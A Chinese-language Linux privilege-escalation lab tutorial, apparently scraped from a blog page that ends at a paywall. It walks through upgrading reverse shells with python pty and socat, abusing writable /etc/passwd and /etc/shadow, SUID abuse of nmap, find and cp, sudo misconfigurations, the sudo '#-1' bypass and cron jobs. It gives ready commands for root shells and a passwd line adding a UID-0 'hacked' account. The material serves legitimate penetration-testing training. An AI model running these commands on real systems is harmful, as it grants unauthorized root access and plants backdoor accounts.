liunx提权
反弹shell升级交互式反弹sehell
反弹的服务器

接受的服务器


连接上之后的shell,没有tab键补全,不可以上下键显示历史命令
你会发现并不能如愿所偿,「上下方向键」被强制转换为了 ^[[A、^[[B 等字符。
正是由于「简单 shell」的各种缺陷,在渗透测试后期提权、内网渗透时都会带来很多困扰,所以接下来我们需要先将「简单 shell」升级为支持交互式的「交互式 shell」。
方法一:
通过Python创建伪终端升级(pts)
首先确认目标主机是否支持 Python 环境,通过which python和which python3这两个命令,分别查看目标主机是否支持 Python2 和 Python3 环境。

使用python的pty模块创建一个伪终端
python -c 'import pty; pty.spawn("/bin/bash");'



方法二:
socat
首先查看目标主机是否有socat
which socst

接收方:
先监听
socat file:`tty`,raw,echo=0 tcp-listen:5912

然后在「简单 shell」中执行如下命令,反弹一个完整的 tty shell:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:127.0.0.1:5912
提取的文字: `socat` 反弹回的 shell 支持历史命令、tab 补全、ctrl-c 等功能
passwd文件提权
Linux 密码信息保存在两个文件中,分别为: /etc/passwd 和 /etc/shadow
/etc/passwd 文件用于保存用户信息,每一行代表一个用户,每一行通过冒号:分为七个部分:
- 用户名
- 密码,若为 x 则表示密码保存在 /etc/shadow
- UID,0 代表 root
- GID,表示所在组
- 描述信息,依次为 Full Name、Room Number、Work Phone、Home Phone 和 Other
- 用户主目录
- 默认 shell 类型
例如,假设 /etc/passwd 文件中其中一行信息如下:

简单来说,当你登录 Linux 系统时会有以下几个步骤:
- 检测「输入的用户名」是否与 /etc/passwd 文件中某一行第一个字段匹配。
- 若匹配成功,再对比该行第二个字段的密码,如果均匹配成功即登录成功。
- 登录成功之后所具有的权限,通过第三个字段 UID 和第四个字段 GID 确定。
- 其中 UID=0 代表 root 用户,也就是说 —— 无论第一个字段代表的用户名是什么,只要 UID=0,则该账户就拥有 root 权限。—— 这点在提权中非常重要。
由此可见,/etc/passwd 文件在 linux 登录认证过程中起到非常关键的作用。
试想,如果我们能够对 /etc/passwd 文件内容进行伪造、篡改,那就能很轻易的登录成功并获取任意用户权限。
不过一般情况下,只有 root 用户拥有对 /etc/passwd 文件的写入权限,其他用户均只有读取权限。但有时候由于系统管理员的错误配置,也会给我们带来可乘之机。
通常来说,通过 /etc/passwd 提权的方法有两种:
- 如果具有 /etc/passwd 的 w (写入) 权限,可以直接添加一个 root 权限的用户
- 如果 /etc/passwd 中存储 root 用户密码哈希,可以使用 john 进行破解
kal自带john,先将hash的密码写入1.txt

shadow文件提权
/etc/shadow文件用于存储加密后的密码和密码相关的配置信息,该文件的每一行代表一个用户,每行都包含 9 个字段,用冒号(":")隔开,顺序如下:
-
用户名
-
加密后的密码
-
上次修改密码的时间(从 1970.1.1 开始的总天数)
-
两次修改密码间隔的最少天数,如果为 0,则没有限制
-
两次修改密码间隔最多的天数,表示该用户的密码会在多少天后过期,如果为 99999 则没有限制
-
提前多少天警告用户密码将过期
-
在密码过期之后多少天禁用此用户
-
用户过期日期(从 1970.1.1 开始的总天数),如果为 0,则该用户永久可用
-
保留,未来使用
例如,假设 /etc/shadow 文件中其中一行信息如下:

其含义解读如下:
-
用户名:test-user
-
加密后的密码:
$6$C/vGzhVe$aKK6QGdhzTmYyxp8.E68gCBkPhlWQ4W7/OpCFQYV.qsCtKaV00bToWh286yy73jedg6i0qSlZkZqQy.wmiUdj0 -
上次修改密码的时间(从 1970.1.1 开始的总天数为 17470)
-
两次修改密码最小间隔天数:没有限制
-
两次修改密码最大间隔天数:没有限制
-
提前 7 天警告用户密码将过期
-
该用户永久可用
默认情况下,只有 root 权限才能读取和修改 /etc/shadow 文件,但有时候由于系统管理员的错误配置,也会给我们带来可乘之机。
通常来说,通过 /etc/shadow 提权的方法有两种:
-
如果具有
/etc/shadow的 w (写入) 权限,可以直接修改 root 密码 -
如果具有
/etc/shadow的 r (读取) 权限,可以通过读取 root 用户密码并使用 john 进行破解
SUID提权(现今有用)
通常情况下,Linux 运行一个程序,是使用当前运行这个程序的用户权限,这种机制是非常合理的,但有一些程序比较特殊,比如我们常用的 ping 命令。
ping 需要发送 ICMP 报文,这个操作需要发送 Raw Socket,而使用 Raw Socket 是需要 root 权限,那怎么才能让普通用户也能使用 ping 命令呢?这时候就要使用到 suid。
suid 全称是 Set owner User ID up on execution ,即——使文件在执行时拥有文件所有者的权限。
我们使用如下命令查看 ping 命令的权限设置:
ls -alh /bin/ping

你会发现 ping 的权限中多了一个 s,这就是 suid。因此无论任何用户在执行 ping 命令时,ping 命令本身都将拥有其所有者的权限,而 ping 的所有者是 root 用户,所以 ping 就拥有了 root 权限。
试想,如果拥有 suid 权限(root)的某文件提供了文件修改、执行系统命令的功能,那就能被攻击者恶意利用来提升系统权限——这就是 SUID 提权的原理。
下面给大家介绍几种常用的 SUID 提权方法。
nmap提权
首先需要初始化实验环境,打开终端并执行如下命令:
curl https://labfile.oss.aliyuncs.com/courses/2650/init_suid_nmap.sh > ~/init_suid_nmap.sh;chmod +x ~/init_suid_nmap.sh;sudo ./init_suid_nmap.sh

当使用 nmap 进行「UDP 扫描」或「SYN 扫描」时,需要调用 Raw Socket,因此需要 root 权限。
nmap 默认不具有 suid 权限,每次使用的都需要加上 sudo:

有些管理员为了使用方便,便给 nmap 加上了 s 权限。
但别忘了,仅具有 s 权限是不能用于提权的,还需要该文件拥有执行系统命令或修改文件的功能,恰巧 nmap 2.02~5.21 版本提供了执行系统命令的功能。
使用命令 nmap --version 查看实验环境中 nmap 的版本:

恰好是 2.01~5.21 之间的版本,此版本可使用命令 nmap --interactive 进入一个交互界面,在该模式下输入 !sh 便可获取一个 shell,如下图所示:

由于此时 nmap 并不具有 s 权限,因此获取到的 shell 为 shiyanlou 用户权限。
使用如下命令给 nmap 加上 s 权限:
sudo chmod u+s /usr/bin/nmap

此时 nmap 已经拥有了 s 权限,且文件所有者为 root 用户,再尝试以上方法便可获得 root 权限的 shell。
此处由于实验楼提供的虚拟技术关系,造成提权不成功,一般情况下是能够提权成功的。
find 提权
当 find 命令具有 s 权限时,可以借助 find 执行系统命令从而提权。
使用命令 ls -alh /usr/bin/find 查看 find 命令权限:

find 执行系统命令的语法如下:
find <file> -exec <command> \;
其中 <file> 可以为任意文件,因此我们可以先使用 touch 命令创建一个文件 test:

然后通过 test 文件执行命令:
find test -exec whoami \;

这样就能以 root 权限执行命令了,但每次执行命令都要这样写未免很麻烦,并且正如之前我们在「TTY shell」中我们讲到了,这种方式并不支持需要交互的命令,例如 ssh、su 等。
同学们可以稍微思考一下:如何获取一个更方便的 root 权限的 shell 呢?
其实方法很简单,我们可以直接执行 /bin/bash 命令即可:
find test -exec /bin/bash -p \;
注意:必须使用 -p 参数,否者无法获取 root 权限,至于原因可以参看我写的这篇文章,这里不再赘述。

cp 和 mv 命令
当 cp 和 move 命令具有 s 权限时,可以通过覆盖 /etc/passwd 或 /etc/shadow 文件,从而获取 root 权限。
使用命令 ls -alh /bin/cp 查看 cp 命令权限,可以看到 cp已经有了 s 权限:

先将 /etc/passwd 的内容复制一份到用户主目录下 ~/passwd:
cat /etc/passwd > ~/passwd
此处不使用 cp 进行复制,因为 cp 会将文件权限一起复制。

然后利用之前在「Linux 提权之 passwd 文件提权」这一章节中提到的方法,我们创建一行用户数据如下:
-
用户名:hacked
-
密码:pass123
hacked:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash
然后将这行添加到 ~/passwd 文件中:
echo 'hacked:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash' >> ~/passwd

最后,通过 cp 命令的 s 权限,用 ~/passwd 覆盖 /etc/passwd:
cp ~/passwd /etc/passwd
覆盖完成后,通过 su hacked 命令切换即可切换到 hacked 用户(密码 pass123):

由于 hacked 用户的 uid=0,因此我们切换之后成功获取到 root 权限。
move 命令的提权方法和 cp 命令非常类似,这里就不再赘述,同学们可以自行尝试一下,如果你有问题欢迎留言。
以上已经给大家介绍了多种 SUID 可执行文件的提权方法,实际上可用于 SUID 提权的还有很多,这里就不给大家一一列举了,可以通过以下网址查询提权方法:
https://github.com/iSecurity-Club/Pentest-Methodologies/tree/master/PostExploit/LinuxPE/SUID/Summary

通过搜索找到对应的命令,查看详情便可知道具体提权方法。
如何查找 SUID 可执行文件
在实战中,我们可以使用如下命令来查找主机上所有具有 s 权限的可执行文件:
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

但是查询结果中,通常有大量的无法利用来提权的可执行文件,需要人工进行分析。
有没有办法通过自动化脚本来自动分析呢?有的,我写了一个简单的脚本来完成自动化分析,项目地址如下:
https://github.com/Jewel591/suidcheck

使用 wget 下载 suidcheck.sh:
wget https://raw.githubusercontent.com/Jewel591/suidcheck/master/suidcheck.sh
给 suidcheck.sh 加上可执行权限并执行:
chmod +x suidcheck.sh ./suidcheck.sh

红框中的结果,就是可用来提权的可执行文件:

此脚本非常简单,各位同学如果有时间和兴趣也可以自己编写脚本,别忘了在评论区留言分享你的成果哦!
实验总结
在本节实验中,我们学习了什么是 SUID 权限,并掌握了通过 nmap、find、cp 三种命令提权的方法。
实际上可通过 SUID 提权的命令远不止这三种,例如 cat、vim、more、sed 等命令也都可以进行 SUID 提权,但只要你掌握实验中提到的提权思路,其他命令也就能融会贯通了。
sudo提权
什么是 sudo 权限
在 Linux 中,sudo 命令的作用是让当前用户以 root 或其他用户身份(取决于 /etc/sudoers 文件配置)运行命令,sudo 这个词是「Super User Do root privilege task」的缩写。
而 /etc/sudoers就是 sudo 权限的配置文件,该文件用于配置具有 sudo 权限的用户和组,当你使用 sudo 运行任何命令时,Linux 系统会检查 sudoers 文件中配置的用户名或组,若当前用户和当前用户所在的用户组均不在 sudoers 文件中,则不能使用 sudo 命令。
Sudo 配置文件语法
sudo 的配置文件是 /etc/sudoers,使用如下命令查看实验主机上 sudoers 的配置:
sudo cat /etc/sudoers

重点关注 # User Privilege specification 这行下面的内容,此处是针对特定的用户配置 sudo 权限,如上图所示可以看到一条配置:
root ALL=(ALL:ALL) ALL
这行配置的含义如下图所示(Tag 是可选的):

这行配置意为:root 用户在所有的主机上,能够以任何用户、任何用户组的权限,执行任何命令。
很多同学会有疑惑,上面提到的”任何用户/任何用户组“是什么意思呢?
其实是因为我们在执行 sudo 命令时,可以使用-u来指定命令以某个特定用户的权限运行,只要 sudoers 文件中配置允许就可以,例如我们想以用户 www-data 的权限来执行 whoami 命令:
sudo -u www-data whoami
同理也可以使用-g 来指定命令以某个特定用户组的权限运行。
Tag是可选的,当被设置为 NOPASSWD 时,意味着执行 sudo 无需密码。
下面通过一个实例来说明如何配置 sudoers:
假设我们要允许用户 lanqiao 可以在所有主机上,以 root 用户的权限执行 more 和 cp 命令且无需输入密码,那么可以这样配置:
# 多个命令用,分割 lanqiao ALL=(root:root) NOPASSWD:/bin/cp,/bin/more # 用户和用户组相同时,可以简写为一个 lanqiao ALL=(root) NOPASSWD:/bin/cp,/bin/more
理论知识先讲到这里,相信大家对 sudoers 的配置语法已经有了基本的理解,下面我们通过实验来学习几种常见的通过 sudo 提权的方法。
具有 root 权限的命令
这种情况是指:可以通过 sudo 以 root 权限执行某些命令,并通过这些命令获得一个 root 权限的 shell,又细分了两种情况:
-
允许执行某个或某些命令,且未对命令参数做限制
-
只允许执行某条带参数的具体命令
第一种:sudo 允许执行某个命令,但未对命令参数做限制
执行如下命令,完成初始化实验环境:
curl https://labfile.oss.aliyuncs.com/courses/2650/init_sudo_1.sh > ~/init_sudo_1.sh;chmod +x ~/init_sudo_1.sh;sudo ./init_sudo_1.sh

如上图所示,此时我们已经切换为了普通用户 tomcat-syl (用于模拟攻击者获取的初始 shell ),接下来需要通过 sudo 的配置疏漏提升到 root 权限。
使用sudo -l命令查看当前用户的 sudo 权限:

如上图所示,可以看到如下一行配置:
(root) NOPASSWD:/usr/bin/find
等同于:
tomcat-syl ALL=(root) NOPASSWD:/usr/bin/find
意为 tomcat-syl 被允许以 root 权限执行 find 命令,并且无需密码。这种场景的提权方法和实验四中我们讲过的 SUID 提权非常相似,可以通过下面这条命令提权:
sudo find /home -exec /bin/bash \;

可以看到成功提权到 root 权限,原理如果不清楚的同学可以再回去看一下实验四,这里不再赘述。
如果是其他命令,和之前实验中我们讲过的一样,可以通过以下网址查询提权方法:
https://github.com/iSecurity-Club/Pentest-Methodologies/tree/master/PostExploit/LinuxPE/SUID/Summary

通过搜索找到对应的命令,查看详情便可知道具体提权方法。
第二种:sudo 允许执行某条带参数的具体命令
重新打开一个终端,执行如下命令,完成初始化实验环境:
curl https://labfile.oss.aliyuncs.com/courses/2650/init_sudo_2.sh > ~/init_sudo_2.sh;chmod +x ~/init_sudo_2.sh;sudo ~/init_sudo_2.sh

同样使用sudo -l命令查看当前用户的 sudo 权限:

可以看到如下一行配置:
(root) NOPASSWD: /bin/less /var/log/messages
等同于:
tomcat-syl ALL=(root) NOPASSWD: /bin/less /var/log/messages
注意: /bin/less和/var/log/messages之前没有, 说明这是一条完整的命令。
意为:tomcat-syl 被允许以 root 权限执行命令 less /var/log/messages,这种情况下由于命令参数被写死,所以发挥空间就没有第一种那么大了,一般只有特定的一些情况可以提权,less 命令是其中之一。
键入命令 sudo less /var/log/messages 查看日志,随后输入 !/bin/bash可以获得一个 root 权限的 shell:

sudo 自身的漏洞
执行如下命令,完成初始化实验环境:
curl https://labfile.oss.aliyuncs.com/courses/2650/init_sudo_3.sh > ~/init_sudo_3.sh;chmod +x ~/init_sudo_3.sh;sudo ~/init_sudo_3.sh
首先使用 sudo -l 查看当前用户的 sudo 权限:

注意ALL 和!root之间是用逗号隔开的,意为:tomcat-syl 用户可以以任意非 root 身份运行所有的命令且无需密码。
例如我们指定以 shiyanlou 用户的身份运行 whomai 命令:
sudo -u shiyanlou whoami

如上图所示,此时的用户权限为 shiyanlou。
若指定以 root 用户的身份运行 ,则系统会提示输入密码:
sudo -u root whoami

看来我们无法通过常规的 sudo 提权方法提升至 root 权限,但是别着急,下面我们再尝试一下 sudo 本身的漏洞。
首先使用 sudo —-verison 来查看实验主机上 sudo 的版本:

如上图所示,sudo 版本为 1.8.16。
这里要为大家介绍一个在渗透测试中用的非常多的网站——「exploit-db」,是 Kali Linux 开发团队维护用于收集公开漏洞情报的平台,在 Kali Linux 中内置的 searchsploit 命令行工具对应的数据就来自「exploit-db」,网址如下:
https://www.exploit-db.com/

左边选择 EXPLOITS,点击右上角的搜索图标,输入 sudo 1.8 进行搜索:

搜索结果中展示了几个 sudo 的漏洞,点击sudo 1.8.27 - Security Bypass查看详情:

该漏洞在 1.8.28 版本修复了,我们实验环境中是 1.8.16,很幸运的也在影响范围内,该漏洞的原理如下:
当用户在使用 sudo 命令时,通过指定 UID 为 #-1 或 #4294967295,就可以以 root 身份执行命令。 这是因为命令在将 UID 转换为对应用户时,会将 -1 或 4294967295 这两个异常数字视为 0,而 0 是 root 用户的 UID。
下面我们尝试一个这个漏洞,在命令行执行以下命令:
sudo -u "#-1" whoami sudo -u "#4294967295" whoami

如上图所示,我们成功绕过了 sudoers 配置文件的限制。
类似于之前 SUID 提权中提到的,使用如下命令便可获得一个 root 权限的 shell:
sudo -u "#-1" bash -p

当然 sudo 还有其他漏洞可以被利用来提权,我们这里只是抛砖引玉,同学们在实战的时候可以根据 sudo 的版本,在 exploitdb 上查询具体的漏洞来进行利用。
CronJobs提权
知识点
-
什么是 Cron Jobs
-
crontab 语法
-
crontab 执行脚本内容覆盖提权
什么是 Cron 定时任务
Cron Jobs 是 Linux 系统中的「定时任务」,常被用来安排那些需要周期性执行的命令,例如定期备份数据、定期清理缓存等功能,因为使用到 cron 工具(crontab),因此被称作 Cron Jobs。
CronJobs 作为系统管理员最常用的功能之一,本身是非常棒的一个工具,但如果「定时任务」被设定为以更高的用户权限运行(例如 root 用户),则可能会被黑客利用来提权。
crontab 命令使用语法如下:
* * * * * [ user ] File/Command - - - - - | | | | | | | | | +----- 星期中星期几 (0 - 7) (星期天 为0) | | | +---------- 月份 (1 - 12) | | +--------------- 一个月中的第几天 (1 - 31) | +-------------------- 小时 (0 - 23) +------------------------- 分钟 (0 - 59)
其中 user 是可选的,若不指定用户,则使用当前用户的权限指定。
需要注意的是,只有 root 用户才能指定以其他用户的权限来执行命令或脚本。
举个例子:
如果我们想实现每小时输出一次 Apach

最低0.47元/天 解锁文章
536

被折叠的 条评论
为什么被折叠?



